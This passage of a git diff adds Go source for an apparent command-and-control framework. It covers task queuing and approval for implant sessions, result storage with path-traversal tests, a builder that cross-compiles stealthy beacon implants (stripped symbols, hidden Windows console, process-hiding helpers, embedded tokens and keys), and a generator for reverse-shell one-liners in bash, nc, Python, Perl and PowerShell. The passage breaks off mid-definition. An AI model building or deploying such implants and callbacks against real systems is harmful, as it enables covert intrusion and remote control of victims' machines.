+ // OPSEC: command deny regex enforcement + if in.TaskType == TaskTypeExec || in.TaskType == TaskTypeShell { + cmd, _ := in.Payload["command"].(string) + if cmd != "" { + listenerCfg := m.getListenerConfig(session.ListenerID) + if listenerCfg != nil { + for _, pattern := range listenerCfg.CommandDenyRegex { + re, err := regexp.Compile(pattern) + if err != nil { + m.logger.Warn("invalid command_deny_regex", zap.String("pattern", pattern), zap.Error(err)) + continue + } + if re.MatchString(cmd) { + return nil, &CommonError{ + Code: "command_denied", + Message: fmt.Sprintf("命令被 OPSEC 规则拒绝 (匹配: %s)", pattern), + HTTP: 403, + } + } + } + } + } + } + + // OPSEC: max_concurrent_tasks enforcement + listenerCfg := m.getListenerConfig(session.ListenerID) + if listenerCfg != nil && listenerCfg.MaxConcurrentTasks > 0 { + activeTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{ + SessionID: in.SessionID, + Status: string(TaskQueued), + }) + sentTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{ + SessionID: in.SessionID, + Status: string(TaskSent), + }) + concurrent := len(activeTasks) + len(sentTasks) + if concurrent >= listenerCfg.MaxConcurrentTasks { + return nil, &CommonError{ + Code: "concurrent_limit", + Message: fmt.Sprintf("会话已有 %d 个排队/执行中的任务，超过并发上限 %d", concurrent, listenerCfg.MaxConcurrentTasks), + HTTP: 429, + } + } + } + + taskID := "t_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14] + task := &database.C2Task{ + ID: taskID, + SessionID: in.SessionID, + TaskType: string(in.TaskType), + Payload: in.Payload, + Status: string(TaskQueued), + Source: strOr(in.Source, "manual"), + ConversationID: in.ConversationID, + CreatedAt: time.Now(), + } + + // HITL 检查：仅当注入的 gate 认为当前会话应对统一 MCP 工具 c2_task 做人机协同时才走桥（关闭人机协同时与其它工具一致，直接入队）。 + if IsDangerousTaskType(in.TaskType) && !in.BypassHITL { + m.mu.RLock() + bridge := m.hitlBridge + gate := m.hitlDangerousGate + m.mu.RUnlock() + convID := strings.TrimSpace(in.ConversationID) + useBridge := bridge != nil && gate != nil && gate(convID, MCPToolC2Task) + if useBridge { + task.ApprovalStatus = "pending" + if err := m.db.CreateC2Task(task); err != nil { + return nil, err + } + m.publishEvent("warn", "task", in.SessionID, taskID, fmt.Sprintf("危险任务待审批: %s", in.TaskType), map[string]interface{}{ + "task_id": taskID, + "task_type": in.TaskType, + }) + payloadBytes, _ := json.Marshal(in.Payload) + ctx := HITLUserContext(in.UserCtx) + if ctx == nil { + ctx = context.Background() + } + go func() { + err := bridge.RequestApproval(ctx, HITLApprovalRequest{ + TaskID: taskID, + SessionID: in.SessionID, + TaskType: string(in.TaskType), + PayloadJSON: string(payloadBytes), + ConversationID: in.ConversationID, + Source: task.Source, + Reason: fmt.Sprintf("C2 危险任务 %s", in.TaskType), + }) + if err != nil { + rejected := "rejected" + failed := string(TaskFailed) + errMsg := "HITL 拒绝: " + err.Error() + _ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{ + ApprovalStatus: &rejected, + Status: &failed, + Error: &errMsg, + }) + m.publishEvent("warn", "task", in.SessionID, taskID, errMsg, nil) + return + } + approved := "approved" + _ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{ApprovalStatus: &approved}) + m.publishEvent("info", "task", in.SessionID, taskID, "危险任务已批准", nil) + }() + return task, nil + } + // 未接桥或会话未开启人机协同 / 工具在白名单：直接入队 + task.ApprovalStatus = "approved" + } + + if err := m.db.CreateC2Task(task); err != nil { + return nil, err + } + m.publishEvent("info", "task", in.SessionID, taskID, fmt.Sprintf("任务已入队: %s", in.TaskType), map[string]interface{}{ + "task_id": taskID, + "task_type": in.TaskType, + "source": task.Source, + }) + return task, nil +} + +// CancelTask 取消队列中的任务（已 sent/running 的暂不支持回滚） +func (m *Manager) CancelTask(taskID string) error { + t, err := m.db.GetC2Task(taskID) + if err != nil { + return err + } + if t == nil { + return ErrTaskNotFound + } + if t.Status != string(TaskQueued) && t.Status != string(TaskSent) { + return &CommonError{Code: "task_running", Message: "任务已在执行，无法取消", HTTP: 409} + } + cancelled := string(TaskCancelled) + now := time.Now() + if err := m.db.UpdateC2Task(taskID, database.C2TaskUpdate{Status: &cancelled, CompletedAt: &now}); err != nil { + return err + } + m.publishEvent("info", "task", t.SessionID, taskID, "任务已取消", nil) + return nil +} + +// PopTasksForBeacon beacon check_in 后调用：取该会话所有 queued+approved 的任务， +// 内部已置为 sent；返回 TaskEnvelope，便于 listener 直接编码下发。 +func (m *Manager) PopTasksForBeacon(sessionID string, limit int) ([]TaskEnvelope, error) { + tasks, err := m.db.PopQueuedC2Tasks(sessionID, limit) + if err != nil { + return nil, err + } + out := make([]TaskEnvelope, 0, len(tasks)) + for _, t := range tasks { + out = append(out, TaskEnvelope{TaskID: t.ID, TaskType: t.TaskType, Payload: t.Payload}) + } + return out, nil +} + +// IngestTaskResult beacon 回传任务结果的统一入口 +func (m *Manager) IngestTaskResult(report TaskResultReport) error { + if strings.TrimSpace(report.TaskID) == "" { + return ErrInvalidInput + } + t, err := m.db.GetC2Task(report.TaskID) + if err != nil { + return err + } + if t == nil { + return ErrTaskNotFound + } + + startedAt := time.Unix(0, report.StartedAt*int64(time.Millisecond)) + endedAt := time.Unix(0, report.EndedAt*int64(time.Millisecond)) + if report.StartedAt == 0 { + startedAt = time.Now() + } + if report.EndedAt == 0 { + endedAt = time.Now() + } + + status := string(TaskSuccess) + if !report.Success { + status = string(TaskFailed) + } + duration := endedAt.Sub(startedAt).Milliseconds() + + sessionOS := "" + if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil { + sessionOS = sess.OS + } + resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS) + errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS) + + upd := database.C2TaskUpdate{ + Status: &status, + ResultText: &resultText, + Error: &errText, + StartedAt: &startedAt, + CompletedAt: &endedAt, + DurationMS: &duration, + } + + // blob（如截图）落盘 + if len(report.BlobBase64) > 0 { + blobPath, err := m.saveResultBlob(t.ID, report.BlobBase64, report.BlobSuffix) + if err == nil { + upd.ResultBlobPath = &blobPath + } else { + m.logger.Warn("结果 blob 落盘失败", zap.Error(err), zap.String("task_id", t.ID)) + } + } + + if err := m.db.UpdateC2Task(t.ID, upd); err != nil { + return err + } + t.Status = status + t.ResultText = resultText + t.Error = errText + + level := "info" + msg := fmt.Sprintf("任务完成: %s", t.TaskType) + if !report.Success { + level = "warn" + msg = fmt.Sprintf("任务失败: %s (%s)", t.TaskType, report.Error) + } + m.publishEvent(level, "task", t.SessionID, t.ID, msg, map[string]interface{}{ + "task_id": t.ID, + "task_type": t.TaskType, + "duration": duration, + }) + + m.mu.RLock() + hook := m.hooks.OnTaskCompleted + m.mu.RUnlock() + if hook != nil { + go hook(t, t.SessionID) + } + return nil +} + +func (m *Manager) saveResultBlob(taskID, b64Content, suffix string) (string, error) { + taskID = strings.TrimSpace(taskID) + if taskID == "" || taskID == "." || taskID == ".." || + strings.ContainsAny(taskID, `/\`) { + return "", fmt.Errorf("invalid task_id") + } + + suffix, err := normalizeResultBlobSuffix(suffix) + if err != nil { + return "", err + } + dir := filepath.Join(m.storageDir, "results") + if err := osMkdirAll(dir, 0o755); err != nil { + return "", err + } + path := filepath.Join(dir, taskID+suffix) + if err := ensurePathInDir(dir, path); err != nil { + return "", err + } + data, err := base64Decode(b64Content) + if err != nil { + return "", err + } + if err := osWriteFile(path, data, 0o644); err != nil { + return "", err + } + return path, nil +} + +func uploadPathForTask(storageDir, taskID string) (dir, path string, err error) { + taskID = strings.TrimSpace(taskID) + if !uploadTaskIDPattern.MatchString(taskID) { + return "", "", fmt.Errorf("invalid task_id") + } + dir = filepath.Join(storageDir, "uploads") + path = filepath.Join(dir, taskID+".bin") + if err := ensurePathInDir(dir, path); err != nil { + return "", "", err + } + return dir, path, nil +} + +func normalizeResultBlobSuffix(suffix string) (string, error) { + suffix = strings.TrimSpace(suffix) + if suffix == "" { + return ".bin", nil + } + if !strings.HasPrefix(suffix, ".") { + suffix = "." + suffix + } + if !resultBlobSuffixPattern.MatchString(suffix) { + return "", fmt.Errorf("invalid blob suffix") + } + return suffix, nil +} + +func ensurePathInDir(dir, path string) error { + absDir, err := filepath.Abs(dir) + if err != nil { + return err + } + absPath, err := filepath.Abs(path) + if err != nil { + return err + } + rel, err := filepath.Rel(absDir, absPath) + if err != nil { + return err + } + if rel == "." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || rel == ".." || filepath.IsAbs(rel) { + return fmt.Errorf("path escapes result directory") + } + return nil +} + +// ---------------------------------------------------------------------------- +// 事件总线辅助 +// ---------------------------------------------------------------------------- + +// publishEvent 同步写 c2_events 表 + 投放到内存事件总线 +func (m *Manager) publishEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) { + id := "e_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14] + now := time.Now() + e := &database.C2Event{ + ID: id, + Level: level, + Category: category, + SessionID: sessionID, + TaskID: taskID, + Message: message, + Data: data, + CreatedAt: now, + } + if err := m.db.AppendC2Event(e); err != nil { + m.logger.Warn("写 C2 事件失败", zap.Error(err), zap.String("category", category)) + } + m.bus.Publish(&Event{ + ID: id, + Level: level, + Category: category, + SessionID: sessionID, + TaskID: taskID, + Message: message, + Data: data, + CreatedAt: now, + }) +} + +// PublishCustomEvent 给外部组件（HITL 桥 / handler）写自定义事件用 +func (m *Manager) PublishCustomEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) { + m.publishEvent(level, category, sessionID, taskID, message, data) +} + +// ---------------------------------------------------------------------------- +// 工具函数 +// ---------------------------------------------------------------------------- + +func strOr(s, def string) string { + if strings.TrimSpace(s) == "" { + return def + } + return s +} + +// getListenerConfig loads and parses the listener's config JSON from DB. +func (m *Manager) getListenerConfig(listenerID string) *ListenerConfig { + listener, err := m.db.GetC2Listener(listenerID) + if err != nil || listener == nil { + return nil + } + cfg := &ListenerConfig{} + if listener.ConfigJSON != "" && listener.ConfigJSON != "{}" { + _ = json.Unmarshal([]byte(listener.ConfigJSON), cfg) + } + return cfg +} + +// GetProfile loads a C2Profile from DB by ID. +func (m *Manager) GetProfile(profileID string) (*database.C2Profile, error) { + if strings.TrimSpace(profileID) == "" { + return nil, nil + } + return m.db.GetC2Profile(profileID) +} diff --git a/internal/c2/manager_blob_test.go b/internal/c2/manager_blob_test.go new file mode 100644 index 00000000..2a42a5f9 --- /dev/null +++ b/internal/c2/manager_blob_test.go @@ -0,0 +1,75 @@ +package c2 + +import ( + "encoding/base64" + "os" + "path/filepath" + "testing" + + "go.uber.org/zap" +) + +func TestManagerSaveResultBlobConfinesPath(t *testing.T) { + tmp := t.TempDir() + mgr := NewManager(nil, zap.NewNop(), filepath.Join(tmp, "c2store")) + content := base64.StdEncoding.EncodeToString([]byte("result bytes")) + + got, err := mgr.saveResultBlob("t_safe123", content, "txt") + if err != nil { + t.Fatal(err) + } + want := filepath.Join(tmp, "c2store", "results", "t_safe123.txt") + if got != want { + t.Fatalf("path=%q want %q", got, want) + } + raw, err := os.ReadFile(want) + if err != nil { + t.Fatal(err) + } + if string(raw) != "result bytes" { + t.Fatalf("content=%q", raw) + } + + outside := filepath.Join(tmp, "owned") + if _, err := mgr.saveResultBlob("t_safe123", content, "./../../owned"); err == nil { + t.Fatal("expected traversal suffix to be rejected") + } + if _, err := os.Stat(outside); !os.IsNotExist(err) { + t.Fatalf("outside file exists or stat failed unexpectedly: %v", err) + } +} + +func TestUploadPathForTaskConfinesPath(t *testing.T) { + tmp := t.TempDir() + store := filepath.Join(tmp, "c2store") + + dir, got, err := uploadPathForTask(store, "t_safe123") + if err != nil { + t.Fatal(err) + } + if want := filepath.Join(store, "uploads"); dir != want { + t.Fatalf("dir=%q want %q", dir, want) + } + if want := filepath.Join(store, "uploads", "t_safe123.bin"); got != want { + t.Fatalf("path=%q want %q", got, want) + } + + for _, taskID := range []string{"", ".", "..", "../owned", `..\owned`, "sub/owned", "sub\\owned", "task.with.dot", "-leading"} { + if _, _, err := uploadPathForTask(store, taskID); err == nil { + t.Fatalf("task_id %q unexpectedly accepted", taskID) + } + } +} + +func TestNormalizeResultBlobSuffix(t *testing.T) { + for _, suffix := range []string{"", "png", ".jpg", ".7z", ".safe_name-1"} { + if _, err := normalizeResultBlobSuffix(suffix); err != nil { + t.Fatalf("suffix %q rejected: %v", suffix, err) + } + } + for _, suffix := range []string{".", "..", "../x", "./../../x", "/tmp/x", `..\x`, ".name.with.dot", ".toolong012345678901234567890123456789"} { + if _, err := normalizeResultBlobSuffix(suffix); err == nil { + t.Fatalf("suffix %q unexpectedly accepted", suffix) + } + } +} diff --git a/internal/c2/manager_sleep_test.go b/internal/c2/manager_sleep_test.go new file mode 100644 index 00000000..3dae2caf --- /dev/null +++ b/internal/c2/manager_sleep_test.go @@ -0,0 +1,118 @@ +package c2 + +import ( + "path/filepath" + "testing" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +func TestIngestCheckIn_PreservesOperatorSleepOnHeartbeat(t *testing.T) { + tmp := t.TempDir() + db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = db.Close() }) + + mgr := NewManager(db, zap.NewNop(), tmp) + ln, err := mgr.CreateListener(CreateListenerInput{ + Name: "t", + Type: string(ListenerTypeHTTPBeacon), + BindHost: "127.0.0.1", + BindPort: 18080, + }) + if err != nil { + t.Fatal(err) + } + + first, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{ + ImplantUUID: "implant-uuid-1", + Hostname: "host1", + Username: "user", + OS: "darwin", + Arch: "amd64", + SleepSeconds: 5, + JitterPercent: 0, + }) + if err != nil { + t.Fatal(err) + } + + if err := db.SetC2SessionSleep(first.ID, 30, 20); err != nil { + t.Fatal(err) + } + + second, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{ + ImplantUUID: "implant-uuid-1", + Hostname: "host1", + Username: "user", + OS: "darwin", + Arch: "amd64", + SleepSeconds: 5, + JitterPercent: 0, + }) + if err != nil { + t.Fatal(err) + } + if second.SleepSeconds != 30 || second.JitterPercent != 20 { + t.Fatalf("expected sleep=30 jitter=20, got sleep=%d jitter=%d", second.SleepSeconds, second.JitterPercent) + } + + stored, err := db.GetC2Session(first.ID) + if err != nil || stored == nil { + t.Fatal(err) + } + if stored.SleepSeconds != 30 || stored.JitterPercent != 20 { + t.Fatalf("db: expected sleep=30 jitter=20, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent) + } +} + +func TestSetSessionSleep_UpdatesDBAndEnqueuesTask(t *testing.T) { + tmp := t.TempDir() + db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = db.Close() }) + + mgr := NewManager(db, zap.NewNop(), tmp) + ln, err := mgr.CreateListener(CreateListenerInput{ + Name: "t2", + Type: string(ListenerTypeHTTPBeacon), + BindHost: "127.0.0.1", + BindPort: 18081, + }) + if err != nil { + t.Fatal(err) + } + sess, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{ + ImplantUUID: "implant-uuid-2", + Hostname: "host2", + Username: "user", + OS: "linux", + Arch: "amd64", + SleepSeconds: 5, + }) + if err != nil { + t.Fatal(err) + } + + task, err := mgr.SetSessionSleep(sess.ID, 15, 10) + if err != nil { + t.Fatal(err) + } + if task == nil || task.TaskType != string(TaskTypeSleep) { + t.Fatalf("expected sleep task, got %#v", task) + } + + stored, err := db.GetC2Session(sess.ID) + if err != nil || stored == nil { + t.Fatal(err) + } + if stored.SleepSeconds != 15 || stored.JitterPercent != 10 { + t.Fatalf("expected sleep=15 jitter=10, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent) + } +} diff --git a/internal/c2/manager_start_test.go b/internal/c2/manager_start_test.go new file mode 100644 index 00000000..9bf15a36 --- /dev/null +++ b/internal/c2/manager_start_test.go @@ -0,0 +1,74 @@ +package c2 + +import ( + "io" + "net" + "net/http" + "path/filepath" + "strconv" + "strings" + "testing" + "time" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// 回归：StartListener 返回的 rec 被 handler 脱敏清空 ImplantToken 后，运行中的 HTTP listener 仍能鉴权。 +func TestStartListener_ImplantTokenSurvivesHandlerRedaction(t *testing.T) { + tmp := t.TempDir() + db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = db.Close() }) + + lnPick, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := lnPick.Addr().(*net.TCPAddr).Port + _ = lnPick.Close() + + mgr := NewManager(db, zap.NewNop(), tmp) + mgr.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener) + rec, err := mgr.CreateListener(CreateListenerInput{ + Name: "t", + Type: string(ListenerTypeHTTPBeacon), + BindHost: "127.0.0.1", + BindPort: port, + }) + if err != nil { + t.Fatal(err) + } + token := rec.ImplantToken + + rec, err = mgr.StartListener(rec.ID) + if err != nil { + t.Fatal(err) + } + // 模拟 internal/handler/c2.go StartListener 在 JSON 响应前的脱敏 + rec.ImplantToken = "" + rec.EncryptionKey = "" + + time.Sleep(50 * time.Millisecond) + + body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}` + req, _ := http.NewRequest(http.MethodPost, "http://127.0.0.1:"+strconv.Itoa(port)+"/check_in", strings.NewReader(body)) + req.Header.Set("X-Implant-Token", token) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status=%d body=%s", resp.StatusCode, b) + } + if !strings.Contains(string(b), "session_id") { + t.Fatalf("expected session_id in body: %s", b) + } + _ = mgr.StopListener(rec.ID) +} diff --git a/internal/c2/payload_builder.go b/internal/c2/payload_builder.go new file mode 100644 index 00000000..bfef21da --- /dev/null +++ b/internal/c2/payload_builder.go @@ -0,0 +1,321 @@ +package c2 + +import ( + "encoding/json" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "text/template" + + "github.com/google/uuid" + "go.uber.org/zap" +) + +// PayloadBuilderInput 构建 beacon 的输入参数 +type PayloadBuilderInput struct { + ListenerID string // l_xxx + OS string // linux|windows|darwin + Arch string // amd64|arm64|386 + SleepSeconds int + JitterPercent int + OutputName string // custom output filename (without extension); defaults to "beacon__" + // Host 非空时作为植入端回连地址（覆盖监听器的 bind_host / 0.0.0.0 自动探测） + Host string +} + +// PayloadBuilder 负责从模板生成并交叉编译 beacon 二进制 +type PayloadBuilder struct { + manager *Manager + logger *zap.Logger + tmplDir string // 模板目录，如 internal/c2/payload_templates + outputDir string // 输出目录，如 tmp/c2/payloads +} + +// NewPayloadBuilder 创建构建器 +func NewPayloadBuilder(manager *Manager, logger *zap.Logger, tmplDir, outputDir string) *PayloadBuilder { + if tmplDir == "" { + tmplDir = "internal/c2/payload_templates" + } + if outputDir == "" { + outputDir = "tmp/c2/payloads" + } + return &PayloadBuilder{ + manager: manager, + logger: logger, + tmplDir: tmplDir, + outputDir: outputDir, + } +} + +// BuildResult 构建结果 +type BuildResult struct { + PayloadID string `json:"payload_id"` + ListenerID string `json:"listener_id"` + OutputPath string `json:"output_path"` + DownloadPath string `json:"download_path"` // 磁盘上的绝对路径 + OS string `json:"os"` + Arch string `json:"arch"` + SizeBytes int64 `json:"size_bytes"` +} + +// BuildBeacon 交叉编译生成 beacon 二进制 +func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, error) { + listener, err := b.manager.DB().GetC2Listener(in.ListenerID) + if err != nil { + return nil, fmt.Errorf("get listener: %w", err) + } + if listener == nil { + return nil, ErrListenerNotFound + } + + lt := strings.ToLower(listener.Type) + + cfg := &ListenerConfig{} + if listener.ConfigJSON != "" { + _ = parseJSON(listener.ConfigJSON, cfg) + } + cfg.ApplyDefaults() + + // 确定目标架构 + goos := strings.ToLower(in.OS) + goarch := strings.ToLower(in.Arch) + if goos == "" { + goos = "linux" + } + if goarch == "" { + goarch = "amd64" + } + + // 读取模板 + tmplPath := filepath.Join(b.tmplDir, "beacon.go.tmpl") + tmplData, err := os.ReadFile(tmplPath) + if err != nil { + return nil, fmt.Errorf("read template: %w", err) + } + + // 模板参数：请求 Host > 监听器 callback_host > bind 推导（见 ResolveBeaconDialHost） + host := ResolveBeaconDialHost(listener, in.Host, b.logger, listener.ID) + serverURL := fmt.Sprintf("%s://%s:%d", + listenerTypeToScheme(listener.Type), + host, + listener.BindPort, + ) + + transport := "http" + tcpDialAddr := "" + transportMeta := "http_beacon" + switch lt { + case "tcp_reverse": + transport = "tcp" + tcpDialAddr = net.JoinHostPort(host, strconv.Itoa(listener.BindPort)) + transportMeta = "tcp_beacon" + case "https_beacon": + transportMeta = "https_beacon" + case "websocket": + transportMeta = "websocket" + } + + data := map[string]string{ + "Transport": transport, + "TCPDialAddr": tcpDialAddr, + "TransportMetadata": transportMeta, + "ServerURL": serverURL, + "ImplantToken": listener.ImplantToken, + "AESKeyB64": listener.EncryptionKey, + "SleepSeconds": fmt.Sprintf("%d", firstPositive(in.SleepSeconds, cfg.DefaultSleep, 5)), + "JitterPercent": fmt.Sprintf("%d", clamp(in.JitterPercent, 0, 100)), + "CheckInPath": cfg.BeaconCheckInPath, + "TasksPath": cfg.BeaconTasksPath, + "ResultPath": cfg.BeaconResultPath, + "UploadPath": cfg.BeaconUploadPath, + "FilePath": cfg.BeaconFilePath, + "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + } + + // 执行模板 + tmpl, err := template.New("beacon").Parse(string(tmplData)) + if err != nil { + return nil, fmt.Errorf("parse template: %w", err) + } + + // 创建工作目录 + workDir := filepath.Join(b.outputDir, "build-"+uuid.New().String()[:8]) + if err := os.MkdirAll(workDir, 0755); err != nil { + return nil, fmt.Errorf("mkdir: %w", err) + } + defer os.RemoveAll(workDir) // 清理 + + srcPath := filepath.Join(workDir, "main.go") + f, err := os.Create(srcPath) + if err != nil { + return nil, fmt.Errorf("create source: %w", err) + } + if err := tmpl.Execute(f, data); err != nil { + f.Close() + return nil, fmt.Errorf("execute template: %w", err) + } + f.Close() + + // 平台相关辅助源文件（如无窗口子进程） + for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} { + helperSrc := filepath.Join(b.tmplDir, name+".tmpl") + helperData, readErr := os.ReadFile(helperSrc) + if readErr != nil { + return nil, fmt.Errorf("read helper %s: %w", name, readErr) + } + if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil { + return nil, fmt.Errorf("write helper %s: %w", name, writeErr) + } + } + + // 交叉编译 + payloadID := "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14] + binName := strings.TrimSpace(in.OutputName) + if binName == "" { + binName = fmt.Sprintf("beacon_%s_%s_%s", goos, goarch, payloadID) + } + if goos == "windows" && !strings.HasSuffix(binName, ".exe") { + binName += ".exe" + } + binPath := filepath.Join(b.outputDir, binName) + + if err := os.MkdirAll(b.outputDir, 0755); err != nil { + return nil, fmt.Errorf("mkdir output: %w", err) + } + + absBinPath, err := filepath.Abs(binPath) + if err != nil { + return nil, fmt.Errorf("abs output path: %w", err) + } + ldflags := "-s -w -buildid=" + if goos == "windows" { + // 无控制台窗口运行 beacon 本体 + ldflags += " -H windowsgui" + } + cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".") + cmd.Env = append(os.Environ(), + "GOOS="+goos, + "GOARCH="+goarch, + "CGO_ENABLED=0", + ) + cmd.Dir = workDir + output, err := cmd.CombinedOutput() + if err != nil { + b.logger.Error("beacon build failed", zap.String("output", string(output)), zap.Error(err)) + return nil, fmt.Errorf("build failed: %w (output: %s)", err, string(output)) + } + + // 获取文件大小 + info, err := os.Stat(binPath) + if err != nil { + return nil, fmt.Errorf("stat output: %w", err) + } + + return &BuildResult{ + PayloadID: payloadID, + ListenerID: listener.ID, + OutputPath: absBinPath, + DownloadPath: absBinPath, + OS: goos, + Arch: goarch, + SizeBytes: info.Size(), + }, nil +} + +func listenerTypeToScheme(t string) string { + switch strings.ToLower(t) { + case "https_beacon": + return "https" + case "websocket": + return "ws" + case "http_beacon": + return "http" + default: + return "http" + } +} + +func firstPositive(vals ...int) int { + for _, v := range vals { + if v > 0 { + return v + } + } + return 1 +} + +func clamp(v, min, max int) int { + if v < min { + return min + } + if v > max { + return max + } + return v +} + +// GetPayloadStoragePath 返回 payload 存储目录的绝对路径 +func (b *PayloadBuilder) GetPayloadStoragePath() string { + abs, _ := filepath.Abs(b.outputDir) + return abs +} + +// GetSupportedOSArch 返回支持的操作系统和架构列表 +func GetSupportedOSArch() map[string][]string { + return map[string][]string{ + "linux": {"amd64", "arm64", "386", "arm"}, + "windows": {"amd64", "arm64", "386"}, + "darwin": {"amd64", "arm64"}, + } +} + +// ValidateOSArch 验证 OS/Arch 组合是否可编译 +func ValidateOSArch(os, arch string) bool { + supported := GetSupportedOSArch() + arches, ok := supported[strings.ToLower(os)] + if !ok { + return false + } + for _, a := range arches { + if a == strings.ToLower(arch) { + return true + } + } + return false +} + +// detectExternalIP returns the first non-loopback IPv4 address, or "" if none found. +func detectExternalIP() string { + ifaces, err := net.Interfaces() + if err != nil { + return "" + } + for _, iface := range ifaces { + if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 { + continue + } + addrs, err := iface.Addrs() + if err != nil { + continue + } + for _, addr := range addrs { + ipnet, ok := addr.(*net.IPNet) + if !ok || ipnet.IP.To4() == nil { + continue + } + return ipnet.IP.String() + } + } + return "" +} + +func parseJSON(s string, v interface{}) error { + if strings.TrimSpace(s) == "" || s == "{}" { + return nil + } + return json.Unmarshal([]byte(s), v) +} diff --git a/internal/c2/payload_encoding.go b/internal/c2/payload_encoding.go new file mode 100644 index 00000000..0ab70600 --- /dev/null +++ b/internal/c2/payload_encoding.go @@ -0,0 +1,25 @@ +package c2 + +import ( + "encoding/base64" + "encoding/binary" +) + +// b64StdEncode 用标准 base64 编码字节 +func b64StdEncode(s string) string { + return base64.StdEncoding.EncodeToString([]byte(s)) +} + +// utf16LEBase64 把字符串转 UTF-16LE 后再 base64，用于 PowerShell -EncodedCommand +// （Windows PowerShell 接受这种格式，避免命令行特殊字符引起转义错误） +func utf16LEBase64(s string) string { + runes := []rune(s) + buf := make([]byte, 0, len(runes)*2) + for _, r := range runes { + // 注意：>0xFFFF 的字符需要代理对，但 PowerShell 命令通常都在 BMP 内 + var enc [2]byte + binary.LittleEndian.PutUint16(enc[:], uint16(r)) + buf = append(buf, enc[:]...) + } + return base64.StdEncoding.EncodeToString(buf) +} diff --git a/internal/c2/payload_oneliner.go b/internal/c2/payload_oneliner.go new file mode 100644 index 00000000..794eb126 --- /dev/null +++ b/internal/c2/payload_oneliner.go @@ -0,0 +1,210 @@ +package c2 + +import ( + "encoding/json" + "fmt" + "net/url" + "strings" + + "cyberstrike-ai/internal/database" +) + +// OnelinerKind 单行 payload 的语言/形式 +type OnelinerKind string + +const ( + OnelinerBash OnelinerKind = "bash" // bash 反弹（TCP reverse listener） + OnelinerNc OnelinerKind = "nc" // netcat 反弹 + OnelinerNcMkfifo OnelinerKind = "nc_mkfifo" // 通过 mkfifo 双向（部分 nc 不支持 -e） + OnelinerPython OnelinerKind = "python" // python socket 反弹 + OnelinerPerl OnelinerKind = "perl" // perl 反弹 + OnelinerPowerShell OnelinerKind = "powershell" // PowerShell TCP 反弹（IEX 风格） + OnelinerCurl OnelinerKind = "curl_beacon" // 用 curl 周期性轮询 HTTP beacon（无需二进制） +) + +// AllOnelinerKinds 所有支持的 oneliner 类型 +func AllOnelinerKinds() []OnelinerKind { + return []OnelinerKind{ + OnelinerBash, OnelinerNc, OnelinerNcMkfifo, + OnelinerPython, OnelinerPerl, + OnelinerPowerShell, OnelinerCurl, + } +} + +// tcpOnelinerKinds 仅支持 tcp_reverse 监听器的裸 TCP 反弹类型 +var tcpOnelinerKinds = map[OnelinerKind]bool{ + OnelinerBash: true, + OnelinerNc: true, + OnelinerNcMkfifo: true, + OnelinerPython: true, + OnelinerPerl: true, + OnelinerPowerShell: true, +} + +// httpOnelinerKinds 支持 http_beacon / https_beacon 监听器的类型 +var httpOnelinerKinds = map[OnelinerKind]bool{ + OnelinerCurl: true, +} + +// OnelinerKindsForListener 根据监听器类型返回兼容的 oneliner 类型列表 +func OnelinerKindsForListener(listenerType string) []OnelinerKind { + switch ListenerType(listenerType) { + case ListenerTypeTCPReverse: + return []OnelinerKind{ + OnelinerBash, OnelinerNc, OnelinerNcMkfifo, + OnelinerPython, OnelinerPerl, OnelinerPowerShell, + } + case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket: + return []OnelinerKind{OnelinerCurl} + default: + return nil + } +} + +// IsOnelinerCompatible 检查 oneliner 类型是否与监听器类型兼容 +func IsOnelinerCompatible(listenerType string, kind OnelinerKind) bool { + switch ListenerType(listenerType) { + case ListenerTypeTCPReverse: + return tcpOnelinerKinds[kind] + case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket: + return httpOnelinerKinds[kind] + default: + return false + } +} + +// OnelinerInput 生成 oneliner 的入参 +type OnelinerInput struct { + Kind OnelinerKind + Host string // 攻击机回连地址（IP/域名） + Port int // 监听端口 + HTTPBaseURL string // 